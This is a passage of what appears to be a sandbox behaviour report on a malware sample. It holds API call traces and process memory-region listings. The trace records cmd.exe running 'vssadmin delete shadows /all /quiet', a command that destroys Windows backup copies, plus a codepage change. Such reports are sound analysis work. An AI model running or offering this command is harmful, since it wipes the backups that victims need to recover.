0xffffffffffffffff [0114.347] GetLastError () returned 0x2 [0114.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.347] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0x209ba0 [0114.347] FindClose (in: hFindFile=0x209ba0 | out: hFindFile=0x209ba0) returned 1 [0114.347] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0xffffffffffffffff [0114.347] GetLastError () returned 0x2 [0114.348] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0x209ba0 [0114.348] FindClose (in: hFindFile=0x209ba0 | out: hFindFile=0x209ba0) returned 1 [0114.348] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0114.348] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0114.348] GetConsoleTitleW (in: lpConsoleTitle=0x1af240, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0114.348] GetConsoleTitleW (in: lpConsoleTitle=0x209120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0114.348] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0114.348] InitializeProcThreadAttributeList (in: lpAttributeList=0x1aeff8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1aefb8 | out: lpAttributeList=0x1aeff8, lpSize=0x1aefb8) returned 1 [0114.348] UpdateProcThreadAttribute (in: lpAttributeList=0x1aeff8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1aefa8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1aeff8, lpPreviousValue=0x0) returned 1 [0114.348] GetStartupInfoW (in: lpStartupInfo=0x1af110 | out: lpStartupInfo=0x1af110*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0114.349] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0114.350] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af030*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1aefe0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1aefe0*(hProcess=0x50, hThread=0x54, dwProcessId=0xbd4, dwThreadId=0xbec)) returned 1 [0114.358] CloseHandle (hObject=0x54) returned 1 [0114.358] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0114.358] GetEnvironmentStringsW () returned 0x20eb10* [0114.358] FreeEnvironmentStringsW (penv=0x20eb10) returned 1 [0114.358] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1ae8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1ae8e8, ReturnLength=0x0) returned 0x0 [0114.358] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x1ae920, nSize=0x380, lpNumberOfBytesRead=0x1ae8e0 | out: lpBuffer=0x1ae920*, lpNumberOfBytesRead=0x1ae8e0*=0x380) returned 1 [0114.358] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x2229b000" os_pid = "0xb04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb50" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 588 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 589 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 590 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 591 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 592 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 593 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 594 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 595 start_va = 0xffea0000 end_va = 0xffeabfff entry_point = 0xffea0000 region_type = mapped_file name = "mode.com" filename = "\\Windows\\System32\\mode.com" (normalized: "c:\\windows\\system32\\mode.com") Region: id = 596 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 597 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 598 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 599 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 600 start_va = 0x440000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 601 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 602 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 623 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 624 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 625 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 626 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 627 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 628 start_va = 0x250000 end_va = 0x3d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 629 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 630 start_va = 0x410000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 631 start_va = 0x540000 end_va = 0x6c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 632 start_va = 0x6d0000 end_va = 0x1acffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 633 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 634 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 635 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 636 start_va = 0x7fef4370000 end_va = 0x7fef4397fff entry_point = 0x7fef4370000 region_type = mapped_file name = "ulib.dll" filename = "\\Windows\\System32\\ulib.dll" (normalized: "c:\\windows\\system32\\ulib.dll") Region: id = 637 start_va = 0x7fef8f30000 end_va = 0x7fef8f3bfff entry_point = 0x7fef8f30000 region_type = mapped_file name = "ureg.dll" filename = "\\Windows\\System32\\ureg.dll" (normalized: "c:\\windows\\system32\\ureg.dll") Region: id = 638 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 639 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 640 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 641 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 642 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 643 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 644 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 645 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 646 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 648 start_va = 0x3f0000 end_va = 0x400fff entry_point = 0x3f0000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 649 start_va = 0x420000 end_va = 0x426fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 650 start_va = 0x430000 end_va = 0x431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 651 start_va = 0x1ad0000 end_va = 0x1b07fff entry_point = 0x1ad0000 region_type = mapped_file name = "ulib.dll.mui" filename = "\\Windows\\System32\\en-US\\ulib.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\ulib.dll.mui") Region: id = 652 start_va = 0x7fefbf10000 end_va = 0x7fefbf65fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Thread: id = 24 os_tid = 0xb54 Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x21cac000" os_pid = "0xbd4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb50" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 708 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 709 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 710 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 711 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 712 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 713 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 714 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 715 start_va = 0xff060000 end_va = 0xff08cfff entry_point = 0xff060000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\System32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe") Region: id = 716 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 717 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 718 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 719 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 721 start_va = 0x1e0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 722 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 723 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 724 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 725 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 726 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 727 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 728 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 729 start_va = 0xe0000 end_va = 0xecfff entry_point = 0xe0000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\System32\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssadmin.exe.mui") Region: id = 730 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 731 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 732 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 733 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 734 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 735 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 736 start_va = 0x720000 end_va = 0x1b1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 737 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 738 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 739 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 740 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 741 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 742 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 743 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 744 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 745 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 746 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 747 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 748 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 749 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 750 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 751 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 752 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 753 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 815 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 871 start_va = 0x110000 end_va = 0x120fff entry_point = 0x110000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 872 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 873 start_va = 0x1c80000 end_va = 0x1cfffff entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 874 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 875 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 876 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 877 start_va = 0x1b60000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 878 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 879 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 880 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 881 start_va = 0x1d00000 end_va = 0x1fcefff entry_point = 0x1d00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 882 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: 